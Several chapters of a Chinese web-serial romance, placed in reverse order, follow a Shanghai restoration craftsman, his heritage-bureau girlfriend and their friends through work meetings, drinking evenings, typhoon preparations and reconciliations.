该配合时,倒戈;该正经时,开玩笑;该安慰......补刀。 快乐是有的,嘿嘿。 “灵灵这就是你不够敬业了。” 他准备聊聊工作的正义性,抬起她的下巴,忽悠道: “文保局的小姐姐,古籍有讲,‘之前’通‘值钱’。好东西是不是越老越值钱?” 仰着下巴,她老老实实回答: “是。” “那值钱的东西要不要修?” “要。” “修要不要时间?要不要努力?” 水落石出。 质朴的道理谁人都晓得,可知易行难。 杨灵姿态是放低了,但才尝试几次?才多久? 她们从小到大的交情陆砚不了解。 但老周修一块雀替,就算是一个不起眼的边角料,也得一星期吧? 要是不小心用锉刀刮深了,一个星期时间都打不住。 “灵灵,吸取教训,然后努力去修,晓得吧?” “晓得。” “晓得什么啦?” “信任很重要。” 她说她再也不乱猜疑了。 ...... 晚上,老洋房。 张野和冯小军搬进来了。 三个女人一台戏,三个男人就花样多了。 年轻的时候三个男人一场球; 年龄大点,不说一场徒步、一场牌,随时随地一场酒,是再简单不过的。 张野是个妙人。 来的时候和冯小军一人抱一个箱子,原以为是衣服,没想到是勇闯天涯。 但陆砚是有原则的: 不管是不是工作时间,只要心心念念的是工作,就绝不饮酒。 是以,那对师徒对擂,他在旁边助兴: “岁月酿的酒,碰杯见老友,这口得咽进心里头。” ‘咣当’声响撞开乏闷的夜,两人一碰即大半瓶。 见冯小军近期沉闷,张师傅0帧起手,徐徐讲述自己的故事: “我是云南的,云南怒江的。” “......噗!” “小军别笑,你张哥真情流露呢。” 怒江小伙状态不减,接着说: “家里五口人,我,爸妈,和我爸妈的爸妈。小学教我的班主任,教过我爸妈。班主任的班主任,教过我爸妈的爸妈。” 他不会比喻句,说小学没学到那里,就开始逃课了。 他说大山里没变化,一间房子明明住着三代人,却像一代人...... 喝酒的人,喝酒是正事;不喝酒的人,控场是正事。 控什么场,怎么控场,是需要经验判断和方法论的。 九点四十,陆砚觉得,这个点还得喝,太早,睡不着觉: “酒过三巡话渐稠,当年往事上心头,再满一杯解千愁。” 张野觉得这句不错,用行动实践话中真谛。 冯小军陪。 张野继续讲,他则去转了转,例行检查各部位状况。 尤其是后院的彩绘雀替。 老周忙活快俩星期,胶水没干,现在填充进去的木屑受不得‘风吹草动’。 还有驱虫的事,老房子里的物件,比女生更怕虫子! 打灯往上爬,顺带测试加固的手脚架牢不牢固。 这时,一条普通消息提示音响起。 (古建再生事务所) 苏棠:陆师傅,什么情况?吃工作餐不喊我? 陆砚:天天踩点上班的小姑娘,工作这么上心呀。你张哥买了点卤菜,想敬酒就来老洋房。 笑了笑,小小酥糖他还不了解嘛? 你强她弱,你打她退。 增强一个档,充其量算个‘窝里横’的量。 接着转悠。 红颜料标识的构件着重检查、门窗卡扣反复触碰排查,例行测木构件含水率,没下雨的时候逢五抽一。 回访一下之前修的楼梯侧柱,张罗一会房梁的延迟退休状况,花了四十分钟左右,下来,张野正说到17岁的时候。 “张哥,少年英豪啊,换个年代来上海滩闯——” “陆师傅,给我敬酒!” 苏棠来了。 居然没穿背带裤,小姑娘穿小裙子露小腿,有点小好看。 就是小了点。 不过倒是把张野师徒乐坏了。 赶紧起身让出c位。 待四人坐罢,云南怒江的朋友先给小姑娘拿酒......被拒绝以后也不恼,接着说大山里的岁月。 故事醉人,用酒当借口。 控场的人听得都有点按捺不住,痛饮一口矿泉水,高呼: “酒杯一端,旧事回甘,抿一口都是当年的坎,再喝一口是如今的暖。” 四人举杯,两白两黄,碰! ...... 苏棠骂骂咧咧走了,直呼白的没味,像水。 看了看时间,十一点出头。 控场的人觉得,这个点还得喝,喝了好睡觉。 第一百零九章 惊醒 陆砚寄玫瑰的时候,思考要不要写点‘戒骄戒躁’之类的话,想想还算了。 一来太煞风景,二来言多必失。 真不开心了,还不是自己去哄?人家有自觉的,干嘛说些多余呢。 “小伙子,明天见呀!” “再会!” 回到老洋房,八点四十七分,出去一趟,依然荣膺‘上班打卡第一人’的头衔。 顿时整个人都不好了。 那孩子天天嚷着‘陆师傅又迟到了’、‘当老板就是爽,想几点来几点来’。 会不会......她自己也是卡着点来的啊! 陆砚无不歹毒地想: 也许,苏棠就比他早到三十秒? 也许,她经常迟到,只是比自己早那么一点点而幸免于难? 多想无益,时间是最好的检验标准。 八点五十,小赵到了。 打完招呼,接着守门口。 八点五十五,张野,乃至冯小军都陆续到场。 陆师傅轻轻一笑,继续守。 八点五十八,还有二十度偏角、秒针便归零的时候,背带裤小姑娘哼着歌出现在前院铁艺栏杆后面。 “哦哟(‘哟’字重鼻音节),酥糖小姑娘今天来得准时捏!” 她的面部表情给上戏一众同学展示了‘花容失色’四个字。 瞪眼,捂嘴,站定——不敢相信! 仿佛眼前人‘前一秒说要去外地出差,结果半夜突然返回’,让人茫然之后,生起恐慌。 “我......给你买早餐去了,又没迟到,说那大声干嘛!” 起先还有点心虚,看完时间后便越说越自信。 “行啊,一个多月的职场也不算没长进,早餐呢?” “路上太饿,吃了。” “...” 买遮阳帽让他们戴上的时候,趾高气昂的说,不想被别人误会在非洲部落实习。 行啊,买早餐,自己吃了,还冠他的名。 非洲部落实习生都不敢这么狂吧! “小屁孩,懒得喷。今天被我逮到了,以后看你还杵不杵门口阴阳怪气。” “陆师傅。” 陆砚回头。 小姑娘慢慢踱上台阶,伸出手,一颗亮晶纸糖果赫然在内: “先拿着,不够以后再说。” 说罢拍拍肩膀,一副‘该如何给孩子凑学费’的苦闷表情。 呵,呵。 好笑是好笑,就是肚子有点胀气。 屋内随着她的到来热闹起来,闹腾间的笑容比清晨花儿上的露珠还耀眼。 仅仅这一瞬间,陆砚就不会怪罪苏棠的捉弄,甚至请客加鸡腿。 嘶—— 差点走火入魔了,危险的想法不可取的! ...... 顾南乔拒绝了‘杨师傅’的上下班接送服务,照常踩点到律师大厦。 十六层电梯刚打开,张羌热情凑过来,说可以帮忙出谋划策,约午饭一块喝咖啡。 她答应了。 走进办公区,被格子围住的空间探出一个个脑袋,瞬间就铺满了社交辞令的氛围。 随口应付同事,到最中心的位置坐下。 查看工作邮箱内容——大片空白。 多么荒诞的割裂感。 别人的‘今日待办’清单每天推送着各种法院传票、紧急咨询、证据材料。 她没有。 尽管学历不差、能力不差,奋斗过、抗争过—— 别人有的,她没有。 甚至工作一年了,还有‘指导律师’教着做事。 就像小学开学典礼,含着奶嘴去主讲台,做优秀学生发言。 简直是奇耻大辱。 可生活就是如此,不能既要又要。 她多次让顾明远不要多管闲事,不需要四处打点关系、出卖人情...... 邮箱只有一封信件。 想来好笑,若是没有打点,此刻也就没有指导律师,邮箱会不会空空如也? 点开,一句话,简短的文字: 黄埔厂拆迁案先放一放。 她的眼睛眯了眯,学着身边同事那样,微笑。 忙了那么久,放一放? 就连去和建材王老板打官司的前天晚上,都在准备的案子; 从业以来最大金额的案子,在她家欠债的关键节点,放一放? 几乎就想起身去找王显宗问问,你上次信誓旦旦说‘没问题’,究竟哪没问题了? 呼—— 微笑。 曾经怎么闹都陪在身边的人,没有消息,他的‘临别’短信又透露着无须声张; 工作中,所里合伙人和指导律师意见冲突,她信任被顾明远打点的后者,却暗戳戳地想做大案子。 该怎么办呢? 大厦将倾之际,曾经的顺风顺水,全化为山雨欲来的乌云,盖在头顶。 谁能帮忙,谁又是谁的救世主? 坐在贴合腰椎曲线的人体工学椅上良久,不知道此刻该找谁说话。 饶是熟读法律的律师,也会茫然。 ...... 老周请假了。 不管什么原因,请假已经单方面通知了陆砚。 说,这段时间得歇会。 没说多久。 结合年纪,甚至有一定角度,可以理解为‘不干了’。 电话挂断的第一时间,他没有肤浅到优先发泄心中的愤怒,亦没有虚伪到提点东西专程过去拜访—— 两天后,台风。 屋顶瓦作怎么办? 大李不在,唯有经验丰富的老周上。 老周也不在,团队哪里紧急找人去? 蹲在门前台阶,屋内传来小姑娘欢声笑语。 陆砚给小区老刘打了电话——结果是失望的。 不知道对方是不懂,还是找借口,总之这事算落到他头上了。 站在一楼向上望,老洋房的屋顶像座微缩的黛色山峦。 青灰色的瓦片层层叠叠,沿木构架的弧度铺展开,边上长了层薄薄的青苔,绿得发暗。 细看,瓦片间的咬合处卡着菱形瓦当,几块松动的瓦片在风里轻轻晃,露出底下暗褐色的望板。 瓦作...... 木作师傅不是不会,而是不精。 他作为项目负责人更是哪哪都懂一点。 但所谓术业有专攻,跨领域工作须得慎之又慎。 男人思考再三,决定先花几个小时查查资料,必要的话...... 未尝不可豁出面子,请教老周、大李。 甚至说,用人情,让大李放下手中活赶回来救场。 反正苏州那边的民宿,这几天就完事了。 ...... 林晚声来颜朵家做客已经不稀奇,这次陈禹也在,便是稀奇事。 三人围在茶几边,茶水、点心伺候,俨然待客模样。 陈禹先开口: “听说,你要去北京?签约了?” 小姐妹聚会他向来不参与,但这次是推了工作专门来瞧瞧的。 “颜颜你又多嘴了。” “我老公我怎么瞒呀!” “什么情况?刚回来又走,去多久?” 他的问题总是务实。 倒不如说,在逐渐抛弃幻想。 因此,痛苦少了,眼神清晰了。 “不知道呀,兴许过年都不会回来了。” 林晚声轻松地说着不亚于诀别的话,听得陈禹一‘咯噔’。 他隐约察觉了些可能。 当看到颜朵的眼睛时,终于了然。 不经意拿起茶杯,动作那样慢,慢到可以把问题想它个三四遍。 嘬了口,清香苦味,茶叶放多了。 “颜颜,这个茶呀,不是这——” “我不关心。” “...” 拿起手机,拨通电话。 信号越过长长的黄浦江,落到长宁路老洋房屋顶。 勾着腰的陆师傅放下铜锤和铅丝: “怎么了?朋友。” “林晚声签约北京的公司了,”对面停了停,补了句,“不知道要走多久。” 他一愣。 又是个指代不详的描述。 老周的‘歇会’和林晚声的‘不知道走多久’,两者会是一个隐喻吗? 不知道。 “她跟你说的?现在人在旁边还是怎么回事?” “...” 陈禹久久没作声,陆砚懂了,轻咳一声。 于是那头声音又起,“颜朵跟我说的呗,晚声走前有个演出,你看最近有没有空,咱们聚聚。” “......台风结束,我都行的。” 挂断电话,陆砚直了直腰。 杨老头说‘加固不难,可以做’,于是上来开工。 蹲在屋顶,用铜锤将铅丝卡进瓦片凹槽,将铅丝末端拧成‘8’字形结。 抗风固瓦、防漏密封、结构承重,是屋顶加固的核心。 尤其是檐口,是台风正面冲击的位置(风力会沿檐口向上翻卷),瓦当和滴水瓦一旦脱落,不仅漏雨,还可能坠落伤人,加固需多重锁定。 劳作大半天,手生的原因,只做了一半。 该结束了。 粉色座驾正缓慢开进,可千万不能让杨灵看到他在上面。 第一百一十章 今天没有鲜花 开过淮海中路,开过环球港,前不久他和杨灵在这散步过,有崭新的回忆。 街景变换。 转眼,新华路,老洋房到了。 大概多久? 一个多月前吧。 那天晚上来老洋房,里面灯是亮着的。 如果不是正好撞见杨灵,费尽心思把她叫出去聊天、吃关东煮,还在一边说撩拨情绪的话...... 可能两人得再走一段蜿蜒小路,才能会合。 进门,开灯,大厅的橘黄吊灯只有一半能亮。 电路......台风以后再修吧。 回到小房间,墙边一张行军床,桌上两条干毛巾,内有厕所、淋浴。 头顶的小灯泡现在是偌大老洋房唯一光亮。 从大平层到陈设简单的房间、从叽叽喳喳贴着身边讲话到一个人的夜晚,落差并没有想象中的大。 甚至,环境的不足会被一种更心安理得的感受弥补。 他躺在床上,听周围响动——没什么声音。 想着,住在这,每天晚上的检查事项...... 开始行动。 先从上到下每个房间都看过去,门窗固定逐一排查,糯米胶、鱼鳔胶的固化情况,排查完一遍后把含水率瞧一瞧...... 四处查看过程中,没有大问题—— 不是雨天话,则主要检查老周、小赵的活,有没有被去而复返的老鼠碰到,之类的。 闲下来以后,接着便想偏了。 正经的大脑中混进来几个熟悉的女人,发生在他身边、印象深刻的事情一件件回放着...... ...... 另一边。 客厅中央的吊灯垂下琉璃灯管,光线透过磨砂玻璃漫出来,在柔白地毯,投下重叠的光圈。 男人走后,女人丢了所有底气。 自觉过来捏肩捶背,不敢发出一点声。 可捏着捏着,顾南乔的脸上挂满了眼泪,一声不吭。 杨灵瞬间慌神。 心中第一次产生懊悔,这种没意义的情绪。 待在旁边,不断用手帮忙擦拭眼泪。 看着她,指尖划过从小到大不断见证的眉眼,意识到错误多么不该。 然后自己也哭了。 “亏我之前还担心,你现在真是女人味十足啊。” “乔乔对不起。” 哭着,讨好把蟹壳黄放她面前。 不知何时植入的观念,杨灵如此希望她能吃一口,似乎这便是‘接受道歉’的信号。 “挺好的,三百六十个拿捏技巧没白看,全用我身上了。” 能说话,就是好的。 证明接下来消气消得快。 顿时精神一振,又过去帮忙捏肩。 月色渐浓。 接下来怎么逗,她都不说话。 杨灵的心又沉了沉—— 以前只要自己一哭,就会被原谅;只要一认错再象征性讨好,就会被原谅。 现在,手开始酸疼。 尽管道歉意志再强烈,两分钟,不,一分钟内胳膊也会‘死掉’。 得想办法! 很多人不好意思做的事情,她向来不在乎,只关注目的能不能达成。 可高中以后,两人便没冷过脸。 怎么办? 想向人求助,也没机会。 陆砚走了,此时没有任何人可以帮忙。 假如他在场的话...... 杨灵想起了‘破吉他’喝酒那天,是怎么转移顾南乔注意力的了。 自爆...... 她收手,揉了揉自己的胳膊。 对方依然没被牵动一个眼神。 别过脑袋,肩膀缩成一团,整个身体陷在沙发里。 这边吸了口气,暗下决心。 慢慢挪到面前。 “...” 眼神相对,第一时间,决心就碎了。 想跑。 可此刻身体控制权归理性所有,于是,她怂、且做着胆大的事—— 小手一左一右捏她的脸颊,既不敢用力,也不敢看她的眼睛: “小妞不要不开心啦~” 说完,轻轻扯了扯,让顾南乔的脑袋微微摇晃,似乎这样就会开心。 一言以蔽之,伤害不大,侮辱极强。 短暂震惊过后,顾姓女子一点就炸: “道歉侬还要动手啊?做错事体是这种态度啊?啥人教侬个臭毛病!今朝勿帮侬扳过来,我就勿姓顾!(给你小子点颜色看看)” 把杨灵按地上捏脸,下面那调皮小孩一直告饶。 ...... 第一个,不对,累计来看,算第二天了。 第二个睡老洋房的晚上,陆砚失眠了。 房间里,旧樟木箱的味道不好闻,且没有身段姣好的女朋友在旁边。 还是大平层好。 明天吃早餐都索然无味了。 哦对了,还要寄玫瑰......明明就在工作地,还要专门跑出去。 这跟出了外卖运费,然后去店内自取有什么区别? 要是老洋房前院那块荒地种点玫瑰就好了...... 算了,玫瑰起码要三个月长起来,时候不够的。 此刻,手机响了,群消息。 (重生之我在沪上修危房) 我系统呢:(视频) 视频封面是她女朋友,顿时就被吸引住视线。 点开,画面如下: 杨灵神情肃穆,双手拿着白纸宣读稿。 如果不是旁边的蟹壳黄袋子,和穿睡衣跪坐地毯上,说在联合国发言都可以信。 她缓缓开口,字句清晰: 本人杨灵(读到这里,她严肃的表情给人一种,‘杨灵犯错,和我有什么关系’的正义感),因为无端陷害好友顾南乔,致使当事人受到严重心灵创伤。现在深刻认识到自身错误,在此检讨悔过,并承诺永不再犯...... 陆砚躺在床上乐不可支。 看了三遍视频,才在群里回复。 墨斗先生:(点赞.jpg) 心疼?不存在的。 欣慰还差不多。 这意味着两人友谊在岁月波涛中的胜利,他由衷为之高兴—— 表明完政治正确的态度后,同时他觉得...... 有人帮忙收拾她,还不必‘脏’了自己的手,实在太棒了。 “叮——” 福至心灵,是她的私聊消息。 @Adeline:(语音)乔乔欺负我。 这波我站顾南乔! 调皮孩子就该被狠狠教训! 墨斗先生:算了算了,都不容易,过去就让它过去吧。 @Adeline:(语音)那我可以欺负你吗? 家人们,遇到下头美女了,真是无语子! 没找你算账就不错了,蹬鼻子上脸了?! 墨斗先生:保证书,一份怕是不够。(微笑.jpg) @Adeline:(语音)你自己拍好了发群里,字数不准比我少。 关系不好的时候,只要严于律己,偶尔讨巧即可达标。 但是关系不好。 关系好的时候,动不动遭受无妄之灾,还要反过来道歉...... 男人有时候真的很无助。 第八章 此间星空璀璨 “6:30,老正兴菜馆。”陆砚亮着这条信息推开包间,一个点都没差,18:30刚刚好。 谁知有人抢跑。 陈禹在用蟹八件拆秃黄油,金灿灿的蟹膏在青瓷碟里堆成小山。 “砚哥这表走得比住建局的批文还准时,”他往颜朵碗里添蟹膏的手顿了顿,“不过您这团队怕是要累成阳澄湖的大闸蟹了——二十个项目三个指名道姓要您,剩下的十七个估计正排队托关系呢。” “我人缘这么好吗?” 陆砚拉开椅子用眼神催促他接着说下去。 谁说男人不爱听场面话的? 那是因为被捧的不是你。 “咱厚道人肯定不会空穴来风啊,老胡人在场呢,”他蘸着姜醋往颜朵碗里添,“可惜文保局那帮书呆子——” “你要真厚道你就给人陆砚留点。”颜朵吃着碗里的,反手就是一张大字报给陈禹送了上去,厚道人一下就不嘻嘻了。 陆和胡习以为常,俩人隔空点头示意,算打过招呼了。 “颜颜你这就误伤友军了,我剥的螃蟹不都进你碗里了嘛!” 颜朵是个身材丰满高挑的女人,当年拍短视频,仅仅灯下背影就足以成为男同学的白月光,加之容貌不错,活该一辈子享福。 陆砚笑着附和,“是啊,知道你宠女朋友,不过好歹一起吃饭,适当手下留情啊。” 跟这人吃饭上哪门子说理去? 准时准点到场还落下一大截! “我已经说过我男朋友了别人可就不能再说啦。” “...” 好嘛,原来是提前给他叠甲。 这螃蟹,酸的! 四人碰杯,颜朵照旧饮料,三人都喝的52度飞天。 倒不是非要奢侈。 反正这酒总会从陈禹后备箱里长出来,喝起来不心疼。 老胡的茅台杯磕在转盘上,感情满得溅出来:“当年杨老修老洋房,用的就是鱼鳔胶。” “您这资历确实丰富。” 陆砚赶紧捧哏,心道老胡倒是个直率人,晓得他此行想听什么半点不藏着。 老胡低头,目光专注,“资历没用啊,如今检测仪扫两下就判死刑,我们递材料都找不着门路。”大有将擦酒渍的动作修炼出工匠精神的势头。 等等! 陆砚的筷子尖在葱烧海参上一滞。 才反应过来,他提到的老杨就是他师父杨启文,没想到这一脉和老洋房有如此渊源。 “这是多久以前的事?” “......快十年了吧。” 玻璃转盘映出天花板的水晶灯,十年前的老洋房雕花吊顶突然在记忆里重叠——他仿佛能看见杨启文踩着人字梯补漆的画面,此刻正被文保局的封条染成黑白色。 随即摇了摇头,人都是自己把自己吓出毛病的,解封不是板上钉钉的事了么! “胡哥,”老胡是陈禹的关系,在住建局负责项目申报,“近些年也没听说过这一说法,属实把我搞得措手不及。” 这上头改革,没理由老杨头不提前通知啊。 老胡先看向陈禹,然后接着说:“本来你们这就不是单纯的修缮......再说了,他们单位搞了个高端人才引进,麻省理工知道不?” 怎么不单纯了?还有,那忒么不是实验室搞研究的吗? 国外还有学校专门开课,教修我们这边文物的专业? 某人终于舍得放下剥螃蟹的手说道:“我去!这学历,来文保局?” 文保局跟文物打交道,相对来说是个‘清闲’的单位,经常看到很多三线城市根本招不到人,甚至本科就能去投简历试试。 眼下这等奇葩事情,陆砚觉得除了杨博士,不会再出现第二个了! 那女人,大有问题! “所以啊,人家文保局也想不通,反正聘书给了,索性再给个特聘专家级别的待遇,权当吃定心丸了。” 陆砚倒吸一口凉气,此子年纪轻轻竟恐怖如斯。 麻省理工......建筑学领域挺厉害,在融合设计与技术创新处世界前列。 想起住建局开会的场面,倒也理解了那个于人情全然不管的杨灵,只有愿意,她去哪里不是大门敞开呢? “但她好像是学化学搞研究的。” “噗——” “啊?” 他万万没想到,一个研究材料、分子的就这么水灵灵跑过来踩古建修复一脚,这和钢琴家在锻刀大会当评委有什么区别! 不待继续吐槽,颜朵在旁边听了一会忍不住撅嘴抱怨:“陆砚你吃个饭尽聊工作,还跟以前一样呆!” 老胡偷笑,这波他免伤。 趁着这空挡,陈禹当仁不让顺便休息一下‘打工’的双手,讲起陆砚因为赶场放了同一班级、同一个女生、两次鸽子的事迹。 野史传,这就是班长和陆砚结仇的导火索、从迷妹到黑子的转折点,以至于毕业时都在传陆砚把某个女生肚子搞大了。 陆砚没出来辟谣,桃花因此灭减将绝。 然而他以前真这么不解风情吗? 呵,你把那女生换成杨灵那样式的再看看呢! 吃完饭过了八点,南京西路步行街上正欢腾。 一家靠路边有大落地窗的咖啡厅里,霓虹灯牌在颜朵的珍珠耳环上跳动,岁月没有和她闹矛盾,面上洋溢青春色彩。 音符轻抚脸庞,随着水果茶涟漪荡开,闲适的旧时光再度返场。 然而陆砚将要陷入沉沉追忆前,一个名字将他从幻觉中抽离。 “晚声上个月接了五场商演。”她翻出手机相册,“你看这舞台,比外滩灯光秀还气派。” 当然是好朋友滤镜下的说法,只是有些舞台效果的地下演出罢了,不过看情况确实离发唱片不远了。 陆砚凑近了看。 镜头下的林晚声抱着镶贝斯的定制吉他,背后LED屏滚动着‘溯光而行第42站’,绚烂灯光朦胧了她的表情。 想必是开心的。 还记得分手那夜,她蜷在出租屋地板上写和弦,自己蹲在卫生间用防水涂料补渗水墙角,那画面简直可以算她成名前的黑历史了! “替她高兴,终于熬过连琴都舍不得换的日...”陈禹突然被颜朵踩住脚背,悻悻一笑。 其实颜朵大可不必这么照顾他的面子,当年本就如此。 想来晚......林晚声也会直言不讳讨论那段岁月...... 都在说的当年,又是个怎样的当年呢? 他,林晚声;陈禹,颜朵,正好面对面凑一桌。 他学了吉他给她唱和声,偶尔‘升咖’两人对唱,那时候,工装服还没焊死在身上,陆砚也是时尚的、潮流的。 没办法,谁叫女朋友是个突然发现路边好看的树都会开心好久、一只金鱼翻起肚皮也能写篇故事的文青呢。 一首歌弹完,肯定要从口袋拿出些小玩意献给歌唱的女孩,多数是一把亮晶晶的糖,小概率掏出自己雕的物件、买的花。 当然,生日的时候会奢侈一些...... 无一例外,林晚声都会以一个大大的拥抱回馈那颗渴望被表扬的心。 陈禹那时创业压力大,晚上雷打不动过来喝两杯,到后半程硬要拉着陆砚喝到昏沉。 陆砚不肯,奈何林晚声是个爱凑热闹的女人,结果就是三人一起‘躺’。 对此,‘小酒馆’的老板没有多大怨念,善后的颜朵自会处理。 而且第二天她总会说‘感觉自己不喝酒像是被三人算计了’类似的话语。 现在,这桌缺了个角,恐怕以后—— 他不认为有人能补齐这一角,即使是将要回来的林晚声......也不能! “砚哥,我和颜朵要结婚了。” 陆砚一愣,随即喜笑颜开。 “请帖呢?怎么还不给我。” 他伸手,用力的抓住空气,大有一副不给请帖就不来了的架势。 ...... 晚风卷走便利店塑料袋,陆砚盯着黑漆夜幕下依旧亮眼的‘零首付购房’海报。 黄浦江对岸的塔吊红光刺进瞳孔,照亮那年暴雨夜中、再不能倾诉衷肠的彼此。 人们是不是把夹杂着悲痛和不甘的心事连同灵魂,一并投向那本一无所有的幕布,才造就了此刻璀璨的星空呢? “咳!” 声控灯像垂死病人般喘息着亮起。 这是他的房子,贷款买的房子。 曾经他住在出租房,林晚声用口红在镜子上画了个爱心,现在那抹红褪成锈色,旁边贴着‘水电费逾期通知’。 第七章 她超勇的 提前到场不该只应用于约会。 晨光漫过住建局的金字招牌,陆砚咬着粢饭团蹲在石狮子旁。 油条碎屑掉在工具箱上,他刚伸手去掸,轮胎摩擦声刺破晨雾——樱花粉的保时捷Taycan刹在台阶前,车窗降下露出一张清冷的脸。 这是第一次看到开车的杨灵,他瞬间便意识到两者间的阶级鸿沟。 “杨博士早啊,”陆砚咽下糯米站起身,“今天美丽依旧。” 不要钱的漂亮话只管说,万一有用呢? 哦,你说昨天刚吵架的事啊,成年人可以搁置。 杨灵推门下车,珍珠白高跟鞋碾过片梧桐叶:“陆师傅改行当门童了?住建局九点才办公。”深灰色西装裙剪裁利落,耳垂上两颗Akoya珍珠纹丝不动。 显然,读书人并不是一两句便宜话就哄得好的,你敢摔门而去,今天就别想见到一张好脸! “这不专程候着了嘛,”陆砚用袖口蹭掉嘴角糖粒,继续发挥娱乐精神,“怕您的检测仪找不着大门嘞。” AUV,就是一个地道! 她摘下墨镜别在领口,镜腿刻着的‘LY’银标在晨光里一闪,果断开口反击。 “导航定位精度在0.5米内,倒是陆师傅的施工误差率值得担心。” 好像每次和这个女人在一块就要斗嘴,偏偏陆砚心软,到后面自然就甘拜下风。 话说回来也是奇了怪哉,为什么杨灵句句都有回应呢?难不成对方也和他一样乐观上进、具有高尚的品质? 他决定再试试—— “要不给您配把老洋房钥匙?省得天天贴封条。” 说着,他摸出铜钥匙晃了晃,仿佛拿着一块诱人的奶酪。 杨灵似笑非笑,抿住嘴唇道,“等危房鉴定通过,嗯,钥匙自然会挂在文保局公示栏。” 一辆雷克萨斯此时滑入车位,杨启文拄着磨出包浆的黄花梨手杖下车,藏青色中山装袖口泛白,布鞋沾着木屑,毫无排场可言。 李主任一道从车上下来,微微颔首:“杨老,我们来得正好。”他瞥了眼腕表,“局里安排了二号会议室。” “进去说。”老人抬手往里走。 陆砚和杨灵跟后头,秘书带领下一行人在办公大楼内顺畅穿行。 平均每年他来这跑十几趟,见到主任这个级别的领导是头一回。 这个项目含金量变得这么高了吗? 会议室檀香混着油墨味,几人落座,座前有茶水。 李主任将检测报告推至长桌中央,不锈钢保温杯磕出脆响。 陆砚盯着他腕间泛光的万宝龙手表,暗忖这位冷面判官到底站在哪边—— 对方坐上座,用钢笔敲了敲检测报告:“五天,最好能看到所有结构数据。”抬眼,目光扫过杨灵,“文保局的设备要快点进场。” 开口先为这次讨论定下基调。 杨灵点头,于是会议即在‘五天内排除危房可能’的共识上顺利展开。 窗外突然‘咚’地轻响,麻雀撞在防爆玻璃上,扑棱着跌进紫藤花架。 “只是,关于施工方案,需要我这边主导。”杨灵说。 不用杨启文抬眼,陆砚自然把旗帜立起来,摆开擂台:“杨博士,敢问我们的方案是哪里不符合文保局的要求呢? “传统鱼鳔胶的固化时间比环氧树脂慢47%,”杨灵调出平板数据,“但抗老化系数...” “但能养出包浆。”他争抢话语主动权,“传统骨胶的湿度适应度更高,您那些仪器测得出木纹的湿度吗?去年外滩18号就是...” “去年外滩18号因湿度失控滋生霉菌,维修费超预算两百万。”杨灵冷声截断:“我的传感器能在霉变前182小时预警。” 两人都意识到展开方式不对,但话赶话,彼此都不想让步。 “按这标准,‘应县木塔’早该装电梯!过去老匠人舔木辨湿度的本事,你们传感器学得会吗?” 杨灵‘啪’地合上平板:“陆师傅,口水检测通不过卫生许可。” 她起身时Akoya珍珠撞在话筒上,蜂鸣声惊飞窗外麻雀。 “好了!”杨启文及时喝止住两人,“是讨论不是吵架,你们要合作,还要共赢,先静下来好好想想再说话!” 您看她这是要合作的样子嘛! 李主任挥了下手,让助理给众人添茶,茶香中,陆砚也在反思。 怎么一遇到杨灵就控制不住自己?她是人形春药? 还有,话题一开始就被带跑偏了,不管传统鱼鳔胶的效果如何,它都没有违规吧! 隐约感觉到......这个女人是故意把他带偏的。 “小陆经验更丰富,说说,你做了哪些类似项目让大伙了解了解。”李主任另起一头,重新引导会议。 随即,陆砚便捡了有参考意义的项目做介绍。 从静安别墅的民国木窗到青浦宗祠的青石墙,再到老洋房隔壁的石库门修缮,将其中可以嫁接过来的经验娓娓道来。 项目讲完,杨启文又从帆布袋掏出陶罐,十年陈皮般的香气漫开:“小陆改良的骨胶,还不错,” 他抹了胶体在胡桃木桌沿,琥珀色胶质缓慢渗入纹理,抬头冲杨灵笑出满脸褶子:“丫头你闻闻,无公害的东西可比化学胶水舒坦。” 会议室短暂沉寂。 这套组合技下来,局势似有明朗的前兆。 但杨灵一点也没有孤立无援的感觉,调出平板数据:“去年苏州河老仓房使用传统胶体后,三个月内出现不同程度破损。” 陆砚眉头一挑,这项目在业内如雷贯耳,沉声回应,“可那仓房撑过了台风‘烟花’!” 没有给她继续发难的机会,立马反攻: “杨灵女士,从刚才我就想问你了,且不论效果如何,我们的方案是哪里不符合规定了,不妨明确指出来!” “守旧技术加上冗余施工势必会影响文物建筑寿命,这一点,陆师傅认不认。” 所以哪里不符合规定了?你要建筑寿命,那咱们用混凝土浇筑起来好不啦? 陆砚一口老血恨不得吐对方脸上,他非常想告诉对方这不是小朋友掐架,大可不必句句都要分个胜负! “折中方案未尝不可。”李主任突然开口,“传统工艺结合智能监测,既保安全又留文脉。” 他瞥向杨启文。 两个老茶缸抬起,碰撞的脆响,泄露了二十年交情。 明眼人都知道,都到碰杯这步了,哪里还能说‘不’字。 场上局面了然,李主任显然和老杨头早就达成了共识,而自己这边自然不用说。 今天这场会就等于是专门给杨灵开的。 想到她不过和自己一样的年纪,当真是前途不可限量......某人突然有些酸了。 “骨胶我先带走,后面还需要重新评估风险。”说罢毫不犹豫地离席。 没曾想事情还有转折——杨灵竟是谁的面子都没给! 空旷的走廊响起步调分明的高更鞋回声,还有秘书送客引路的问候。 陆砚哑然,也释然——杨灵查封现场绝对不是蓄意报复他。 这是真勇,她是真·愣头青! 什么00后整顿职场都是图一乐呵,真整顿还得看我海归大小姐出手! 问就是水土不服! 陆砚突然乐了,胸中块垒随她的离开散去大半。 “臭小子。”跟李主任寒暄完,杨启文用满是老茧的手掌拍他后背,“我当徒弟那会,挨骂比吃饭还勤。” 得,这究竟是安慰还是提前打预防针呢?印象里,从出了校园以后,老杨头基本上没骂过他了。 老杨头是陆砚的大学老师,现在的嫡亲师父,将来自己要给他养老送终的那种传统关系,骂当然骂得。 老人从中山装内袋摸出油纸包,竟是陆砚以前常吃的蟹壳黄,“跟犟驴较劲,得顺着毛捋。” 陆砚点点头,默认了杨灵就是那头倔驴。 ...... 暮色吞没最后半片天光,游荡一天的陆砚蹲在小区楼下,手机放着文旅局最新的短视频: 杨灵抚过雕花门框的指尖,正停在他修补过的雀替处。 她的骨相藏着东方美学的克制,肩颈线像青瓷瓶的弧线。 上次在街上看到大屏投放的宣传片以后,他就关注着,谁能想到这样一个富有书卷气的女人上午还在和他争论不休呢。 陆砚笑了笑,电话里,老杨头让他‘收拾东西搬进去几天,领着人把数据测了’。 第六章 过时的东西 出老洋房后这天还剩一个尾巴,暮色像浸透茶汁的宣纸,沿着衡山路的梧桐叶脉晕染开来。 陆砚站在静安别墅区的铁艺拱门下,指尖抚过新修的雕花木窗。 两年前那个梅雨季,他带着团队在这里打攻坚战——七十二扇民国木窗被白蚁蛀得只剩骨架,业主坚持要换断桥铝。 